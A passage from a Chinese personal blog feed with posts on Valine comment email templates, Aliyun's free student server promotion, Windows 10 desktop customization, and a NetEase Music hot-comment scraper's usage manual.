<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您的<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上有新的留言:</p></div><div style="margin:40px auto;width:90%"><p>${NICK} 给您的留言如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>

而给用户的模板,使用的是官方的Rainbow模板

1
<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您在<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上的留言有新回复啦!</p></div><div style="margin:40px auto;width:90%"><p>${PARENT_NICK} 同学,您曾在文章上发表评论:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${PARENT_COMMENT}</div><p>${NICK} 给您的回复如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>

邮件提醒的坑

如果要使用邮件通知,不需要在你的网站配置中把Notify这一项设定为true,否则只会按照设置中重置密码的模板发送而不会使用在变量中设置的模板,并且云引擎也不会发送邮件;顺带可以把verify调整为false来避免出现Valine的反人类评论验证

根据教程配置完相关的变量和管理面板后,邮件就会自动发送了!

更改了邮件模板,博主模板更换为以下内容(请注意替换里面的名字),来自@Dreamy.TZK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;GamerNoTitle
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>发表评论
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
Ta在<a style="text-decoration: none;color: orange " target="_blank"
href="https://bili33.top">${SITE_NAME}</a>上发表的评论:
</p>
&nbsp; &nbsp;
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
&nbsp; &nbsp;
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="https://bili33.top">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;">
欢迎常来做客哦!<br />
© 2020 <a style="text-decoration:none; color:orange" href="https://bili33.top"> ${SITE_NAME} </a>
</p>
</div>
</div>
</div>
<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>

给用户的模板替换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
<head>
<base target="_blank" />
<style type="text/css">
::-webkit-scrollbar {
display: none;
}
</style>
<style id="cloudAttachStyle" type="text/css">
#divNeteaseBigAttach,
#divNeteaseBigAttach_bak {
display: none;
}
</style>
<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;${PARENT_NICK}
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>的回复
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
${PARENT_NICK},您在<a style="text-decoration: none;color: orange " target="_blank"
href="${POST_URL}#comments">&nbsp;${SITE_NAME}&nbsp;</a>上曾发表的评论:
</p>
&nbsp; &nbsp;
<center>
${PARENT_COMMENT}
</center>
&nbsp; &nbsp;
<p style="
padding-bottom: 20px;
">
<span style="color: orange;">${NICK}</span> 给您回复啦~~~:
</p>
<p>
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
</p>
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="${POST_URL}#comments">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;" id="hitokoto">
欢迎常来做客哦!</p>
<p style="font-size: 12px;text-align: center;color: #999;">© 2020 <a style="text-decoration:none; color:orange" href="${SITE_URL}"> ${SITE_NAME} </p>
</p>
</div>
</div>
</div>

<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
var xhr = new XMLHttpRequest();
xhr.open('get', 'https://v1.hitokoto.cn/?c=e&c=j&c=k');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
var data = JSON.parse(xhr.responseText);
var hitokoto = document.getElementById('hitokoto');
hitokoto.innerText = data.hitokoto;
}
}
xhr.send();
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>

因为原来的模板的变量写法不一样,而且变量也多了,我这里已经改成DesertP版本的了,不过博主的邮件模板里面注意修改没有使用变量的地方如GamerNoTitle


题外话

最近着手于美化一下博客,想在右边加上一个像火喵那样的基于Gitalk的动态面板,顺带改一下友链界面

昨天已经上了强制HTTPS访问啦!就上不了CloudFlare的CDN了,不过没有减速CDN也会快的吧

]]>
+ + + + + Software + + + + + + + Software + + Valine + + Serverless + + + +
+ + + + + 日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年 + + /posts/diary5/ + +

活动网址:https://developer.aliyun.com/adc/student/

网页

近期,阿里云开启了白给活动,叫做阿里云高校学生“在家实践”计划,官方描述是这样的:

白给活动描述

然后往下拉,可以看到这个活动分成5个部分:

五步

①注册/登录 ②学生认证 ③完成测试 ④领取ECS学习资源 ⑤开始课程学习

其实这五部分就前面三个部分是需要我们进行的。注册和登录就不用多说了;学生认证:如果你是在校大学生,那么这个认证对你来说很轻松;如果你不是在校大学生,没关系!按照阿里云官方的说法,24岁以下都算学生。 事实证明还是要完成学生认证……

然后麻烦的东西是测试,这个测试共有10道题目,每道题10分,具体说明如下:

学生成长计划领取资格考试 - 云计算及云服务器入门

共10道题 限时10分钟

知识点考察范围:云计算概念、云服务器ECS基础知识。学习《云计算的前世今生》(链接: https://developer.aliyun.com/course/1236)、《7天玩转云服务器》 (链接: https://developer.aliyun.com/course/70) 课程将有助于提升考试通过率。


答题开始即开始计时,中途不可暂停,如超时则自动提交

1、考试共 (10) 道题,总分100分,及格分数60分
2、考试需在(10分钟)内交卷,过程中无法暂停,请提前安排好时间;如未及时交卷,则本次考试作废
3、推荐使用 Chrome 浏览器(版本:73及以上的正式版本),或Firefox浏览器(版本:66及以上的正式版本)

反正我做下来也挺简单的,拿了个80分,不会的可以去百度一下,10分钟10道题时间绝对够

服务器相关信息

然后回到页面,你就有资格领取服务器啦!建议早上八点蹲点领取哦~

如果你是教师,你还可以通过教师认证,拿多一台服务器,岂不美哉?

阿里云活动规则如下:

一、活动对象:国内全日制在校学生

二、符合以下条件用户可参与:

  • 阿里云注册且个人实名认证用户
  • 完成学生认证
  • 完成学习课程并通过测试

三、活动规则

1.全日制在校大学生,需同时完成阿里云个人实名认证、学生认证,且两者信息一致,认证通过后,完成学生计划的学习课程,并通过测试,同一用户可免费领取1台云服务器ECS(仅限当前未保有 ECS用户 )和学习课程资源。

2.学生计划提供的云服务器ECS产品数额有限,每天8点开放固定领取名额 ,先到先得,领完即止。用户领取时应确认地域等相关选择信息,开通后不允许更改配置。

3.学生计划用户免费领取的云服务器ECS,有效期自领取日起6个月内有效。用户学生认证在有效期内且有效时长大于等于6个月的用户,云服务器ECS到期释放前30天内,可登录个人中心,参加阶段性学习考试,测试通过,可免费续期1次,时长为6个月,续费实例规格需跟领取时一致才可享受。使用过程中如需对领取产品进行升级,请按照标准费用进行升级。

4.如学生用户账号下存在正在使用的ECS产品或已通过云翼计划购买或未支付订单,会导致系统对用户领取资格的审核无法通过;在此情况下,用户ECS产品到期释放后、作废相应的未支付订单后,方可正常参与相应产品的领取。

5.参与阿里云高校在家实践计划的学生用户,同一用户最多可保有2台云服务器ECS,指包括满足学生计划条件用户,领取的1台云服务器ECS(同一用户限领1台),和通过教师计划,满足实名认证和学生认证条件用户,获得教师提供兑换码,验证成功,领取的1台云服务器ECS(同一用户限领1台)。

6.参与阿里云高校在家实践计划的学生用户,通过教师提供兑换码,领取的云服务器ECS,仅用于教师指定课程学习使用,课程结束后,请及时保存相关数据并进行ECS资源释放。如需继续使用,请自行进行续费操作。

7.用户参与阿里云高校在家实践计划(含学生计划)所获得的相应权益,仅限本人使用,不得转让、出售或以其他方式换取利益。

8.为保证活动的公平公正,阿里云有权对恶意刷抢(如通过程序等技术手段)活动资源,长期资源闲置 ,利用资源从事违法违规行为的用户收回免费领取ECS使用资格。

9.如用户在活动中存在隐瞒、虚构、作弊、欺诈或通过其他非正常手段规避活动规则、获取不当利益的行为,例如:作弊领取、恶意套现、网络攻击、虚假交易等,阿里云有权收回相关权益、取消用户的活动参与资格,撤销违规交易,必要时追究违规用户的法律责任。

10.活动名称仅为方便用户理解参考使用,不具有效力,实际活动内容以具体活动规则为准。

四、名词及解释

1.“阿里云官网”,是指包含域名为www.aliyun.com的网站以及阿里云客户端,如APP,但阿里云国际站,包括alibabacloud.com以及所有下属页面和jp.aliyun.com以及所有下属页面除外。

2.“同一用户”,是指根据不同阿里云账号在注册、登录、使用中的关联信息,阿里云判断其实际为同一用户。关联信息包括但不限于同一证件号、同一手机号、同一支付账号、同一设备、同一地址等。

3.“同人账号”,是指同一用户拥有多个阿里云账号的,各个账号之间互为同人账号。

4. “指定云产品”,是指某场具体活动列举的云产品(如上文所提ECS)。

5.除非有相反证据证明外,用户参与活动所获得的全部权益和相应责任,均归属于参与活动的该阿里云账号所对应的实名认证主体。

6.阿里云可以根据活动的实际情况对活动规则进行变动或调整,相关变动或调整将公布在活动页面上,并于公布时即时生效;但不影响用户在活动规则调整前已经获得的权益。

不说了,我要去白嫖了!

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Windows10美化笔记 + + /posts/Windows10-Beautify/ + +

这几天在折腾Win10的美化,本来是想在某美化网站上下载主题包来美化的(这里有两个美化主题包需要自取 主题① | 主题②),但是实在是太麻烦了(具体怎么麻烦我把教程放出来你们感受一下),于是我决定自己来……


最后效果如图↓

美化结果


第一步:寻找壁纸

壁纸这个问题,当然是要去P站啦(当然是Pixiv啦,在想什么啦)

壁纸搜索

因为是美化向,所以壁纸的风格建议是不要太辣眼睛。这里的辣眼睛是指颜色不要太多,色差不要太大,我这里找的图是一张颜色集中在蓝色的图片,地址在这里https://www.pixiv.net/artworks/79898339(图片太大,一张图15.2MB,就不放原图了)

像下面这两张图这样的,第一张太亮,第二章色彩太繁杂的我是真的不推荐,当然你喜欢那我也没什么说的嘛

不推荐类型1:太亮

原图地址:https://www.pixiv.net/artworks/79925515

不推荐类型2:色彩繁杂

原图地址:https://www.pixiv.net/artworks/79923171

如果有人执意使用过量的图片的话,我这里有个建议,可以到PS里面把图片的亮度拉低一点,这样子不会看起来那么亮眼。

第二步:安装插件

这里我安装的插件有以下几个:

1、小黄条TODO

2、雨滴桌面

3、TranslucentTB汉化版Github汉化)(微软商店有,可以自己去微软商店里面搜索)

第一个是一个ToDo的列表,就是我左上角的那个Todo列表,有点类似便签,免费版绝对够个人使用,付费也就是多了云端存储而已

第二个相信不用多说,桌面小挂件,雨滴桌面非常好用

第三个是任务栏透明,可以调整各种参数,例如窗口最大化后任务栏的外观等等,微软商店有,如果上面的链接打不开就去微软商店里面搜索

第三步:放置图标

如果真的要美化,相信微软自带的自动排列图标只是一个累赘,所以我们要把它关掉,然后把图标放在自己喜欢的位置。我的建议是把图标放在壁纸偏暗的地方或者是色块比较均匀的地方,没有太多的颜色变化的地方。放好了以后,各种应用的图标摆在一起,风格也不统一,我们就需要使用图标包来替换。

图标更换

这里我使用的是Pure轻雨图标包,在酷安上有手机版,电脑的这一套是我从网上找的,但是我没法发出来(蓝奏云的限制太烦了),所以还是请你们自己去网上找吧,当然你也可以使用其他的图标包。右击桌面上的快捷方式,选到属性,然后选更改图标,选到自己的图标点确定即可

把自己的应用图标更改好,放在自己喜欢的位置,就完成了图标的管理工作

图标放置

第四步:配置雨滴

雨滴的小挂件就是它的亮点,我们需要配置一下自己的小挂件。我这里分享一些小挂件,需要的同学可以自己拿 传送门

一开始雨滴的那些黑色的挂件太丑了,我们可以右键它选择关闭皮肤来删除掉它

雨滴默认欢迎界面

关闭欢迎界面

皮肤共有两种安装方式:如果你拿到的是后缀名为.rmskin的,恭喜你,这是安装最简单的皮肤,直接双击安装即可!但是如果你拿到的是一个文件夹,别担心。你可以访问目录

C:\Users\%USERNAME%\Documents\Rainmeter\Skins,将自己的皮肤拖入;或者直接右击托盘里面的雨滴,选到皮肤,打开皮肤目录,也可以打开这个文件夹。拖入后右击托盘中的雨滴,点击管理,然后点击左下角的刷新全部就可以载入皮肤了!

然后就右击托盘里面的雨滴图标,选择皮肤,再选择自己的皮肤包里面的所需挂件,点击就可以加入到桌面上了

加入挂件

将挂件拖动到合适的位置,你就完成自己的美化啦!


我的皮肤配置:

Live 4 Music\In Out

Live 4 Music\DIgital Circles

Live 4 Music\Cpu Ram

Simple Clean\音乐频谱

系统信息Bars_II_by_Rasylver\Bars II\WIFI

系统信息Bars_II_by_Rasylver\Bars II\RAM

系统信息Bars_II_by_Rasylver\Bars II\CPU

这些皮肤在我发的文件里面都有,链接在上面,需要的可以自己取用。


题外话:

二月就过去了,学校还没开学,上网课感觉不是很在状态……

下周土命2就开新赛季了,本赛季等级120,下赛季冲个35就好了

想玩VR……

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + Netease-Comment-Spider 网易云音乐热评爬虫使用手册 + + /posts/Netease-Comment-Spider/ + +

今天有人申请适配网易云音乐热评的api,反正也没啥事干,就做一个吧!

如果你想看使用手册,那么请你直接往下拉跳过制作过程

观前提示:可以点击左下角点开导航栏阅读,项目地址:https://github.com/GamerNoTitle/Netease-Comment-Spider


制作过程

本程序是调用的https://www.mouse123.cn/api/163/api.php这个api,会返回很多数据,下面是一个返回的例子

1
{"song_id":"118","title":"Wolves","images":"https:\/\/p1.music.126.net\/-nQ2E-8ZjuwGtMipBTYzBw==\/17902248323721194.jpg","author":"Selena Gomez","album":"Wolves","description":"\u6b4c\u624b\uff1aSelena Gomez\u3002\u6240\u5c5e\u4e13\u8f91\uff1aWolves\u3002","pub_date":"2017-10-24 16:00:00","comment_id":"1510","comment_user_id":"333845131","comment_nickname":"Stroyberry","comment_avatar_url":"https:\/\/p2.music.126.net\/D7Z2xViXVpB7xH3m5NxDIw==\/109951164448917887.jpg","comment_content":"\ud83d\udc95\u5bf9\u65b0\u6b4c\u6709\u8bf4\u4e0d\u51fa\u7684\u611f\u89c9\uff0csel\u7684\u58f0\u97f3\u8f7b\u5feb\u5374\u53c8\u5f88\u968f\u6027\uff0c\u50cf\u662f\u8ffd\u72fc\u5374\u53c8\u9a7e\u9a6d\u7740\uff0c\u5b8c\u7f8e\u7684future bass\u8ba9\u4f60\u65e0\u6cd5\u81ea\u62d4\u554a\uff01sel\u548c\u68c9\u82b1\u7cd6\u8fd9\u6837\u795e\u7ea7\u7684\u78b0\u649e\ud83d\udca5\u8ba9\u4eba\u7a92\u606f\uff01\u5feb\u5e26\u4e0a\u8033\u673a\ud83c\udfa7\uff01\u95ed\u4e0a\u773c\u775b\uff01\u4e00\u8d77\u7a7f\u68ad\u4e8e\u4e1b\u6797\u4e4b\u4e2d\ud83d\ude0f","comment_pub_date":"2017-10-26 22:23:26"}

这个返回的数据看上去很复杂,但是分析一下,返回的还是json格式,那么这个东西的解析就跟一言的那个项目是一样的,根据上面的信息,我把config.json的可选配置分成了以下几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

times为抓取次数,支持大于0的整数,直接输入数字即可!

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

timeout表示连接超时时长,支持大于5的整数

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

搞定可选配置以后,把一言的那个项目拿过来当模板,然后把变量名称往里面套,很快就做好了一个程序。但是这个api返回的数据还是有些不一样的,其中就返回了专辑封面的URL评论用户的头像URL,这两个URL可以让我们获取到相应的图片

另外,这个api返回的编码格式是Unicode,与一言直接返回中文不一样,我本来想做一个Unicode直接转成gbk保存的功能,但是最后只能以UTF8保存(有能做出相应功能的大佬欢迎提交PR)

我使用了requests直接获取图片的二进制码,然后将其写入一个文件来达到保存功能,具体实现方式如下:

1
2
3
4
5
6
7
8
9
10
if(conf['images']):
print("正在保存专辑封面……")
image = r.get(data['images']).content
with open('./images/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)
if(conf['comment_avatar_url']):
print("正在保存评论用户头像……")
image = r.get(data['comment_avatar_url']).content
with open('./avatars/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)

这样就可以保存图片了,但是对应的文件夹不能够删除,否则会出现找不到文件的BUG~


使用手册

基本功能

基本功能就有从api获取对应的信息,并将其存入csv文件,固定有的信息是comment_idcomment_usernametitleauthorcomment_content这几个信息,另外可选的在config.json中进行修改

输出的csv文件目前是以UTF8的编码保存的,如果想要在Excel中查看,你需要使用vscode之类的文本编辑器更改保存的编码方式为gbk才能够在Excel中查看,否则会乱码

可选配置

克隆了代码以后,在目录下有一个config.json文件,在config.json文件可以对选项进行启用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

times为抓取次数,支持大于0的整数,直接输入数字即可!

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

timeout表示连接超时时长,支持大于5的整数

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

上面这些参数根据自己的需要进行设置即可!需要注意的是如果开启了imagescomment_avatar_url选项那么不能够删除avatarsimages文件夹,否则会报错!!!

Q & A

Q: [Errno 2] No such file or directory

如果你在使用本程序的时候出现了以下错误:

1
2
3
4
5
Traceback (most recent call last):
File "main.py", line 107, in <module>
with open('images/' + data['comment_id'] + '.jpg', 'wb') as f:
FileNotFoundError: [Errno 2] No such file or directory: 'images/xxx.jpg'
# 此处xxx应为某一个数字

A: 请你检查是否删除了avatars文件夹或images文件夹!


Q: KeyboardInterrupt

如果你在使用本程序的时候出现了以下错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Traceback (most recent call last):
File "main.py", line 50, in <module>
res = r.get("https://www.mouse123.cn/api/163/api.php",timeout=timeout) # 调用api
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\adapters.py", line 439, in send
resp = conn.urlopen(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 665, in urlopen
httplib_response = self._make_request(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 376, in _make_request
self._validate_conn(conn)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 994, in _validate_conn
conn.connect()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 300, in connect
